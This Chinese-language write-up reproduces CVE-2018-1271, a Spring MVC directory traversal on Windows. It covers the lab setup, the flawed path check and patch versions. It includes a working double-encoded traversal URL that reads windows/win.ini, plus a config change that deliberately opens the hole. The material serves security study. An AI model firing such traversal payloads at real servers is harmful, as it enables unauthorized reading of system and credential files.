背景
漏洞编号:CVE-2018-1271
影响范围: Spring Framework 5.0 to 5.0.4.
Spring Framework 4.3 to 4.3.14
已不支持的旧版本仍然受影响
利用条件:Server运行于Windows系统上,要使用file协议打开资源文件目录。
环境搭建
操作系统:Windows 10
web代码 spring-mvc-showcase
中间件:jetty
1.下载 spring-mvc-showcase
git clone https://github.com/spring-projects/
spring-mvc-showcase.git
2.修改pom.xml,使用Spring Framework 5.0.0。
修改 Spring MVC 静态资源配置,在org->springframework->samples->mvc->config文件夹下WebMvcConfig中 添加以下代码,使用file://协议指定resources为静态文件目录。
registry.addResourceHandler("/resources/**").addResourceLocations("file:./src/main/resources/","/resources/");
3. 使用 jetty 启动项目
cd spring-mvc-showcase//切换至spring-mvc-showcase目录下
mvn install //安装项目依赖库
mvn jetty:run //运行容器
环境搭建成功
漏洞原理
当外部要访问静态资源时,会调用org.springframework.web.servlet.resource.ResourceHttpRequestHandler:handleRequest来处理在request.getAttribute()函数取值时会进行 url decode操作,此时解码后的path的值为%5c%5c..%5c/..%5c/..%5c/..%5c/..%5c/
..%5c/..%5c/..%5c/..%5c/windows/win.ini。接下来会对path进行两次校验,将path和path解码之后的值分别使用isInvalidPath函数检查/foo/bar/../经过cleanPath处理后就会变成/foo/,cleanPath会把//当成一个目录,而操作系统是不会把//当成一个目录的。如下图:
漏洞复现
访问以下链接http://192.168.31.34:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini
抓包
成功读取win.ini
修复建议
目前官方已发布补丁,Spring Framework 5.*(5.0到5.0.4)版本,建议更新到5.0.5版本,Spring Framework 4.3.*(4.3到4.3.14)版本,建议更新到4.3.15版本,不再受支持的旧版本,建议更新到4.3.15版本或5.0.5版本。
免责声明
本文章仅供安全人员学习研究,请遵守《中华人民共和国网络安全法》,勿利用本文中内容做违法的事,如有违反本公众号概不负责。
本文始发于微信公众号(凌晨安全):CVE-2018-1271 Spring MVC 目录穿越 漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论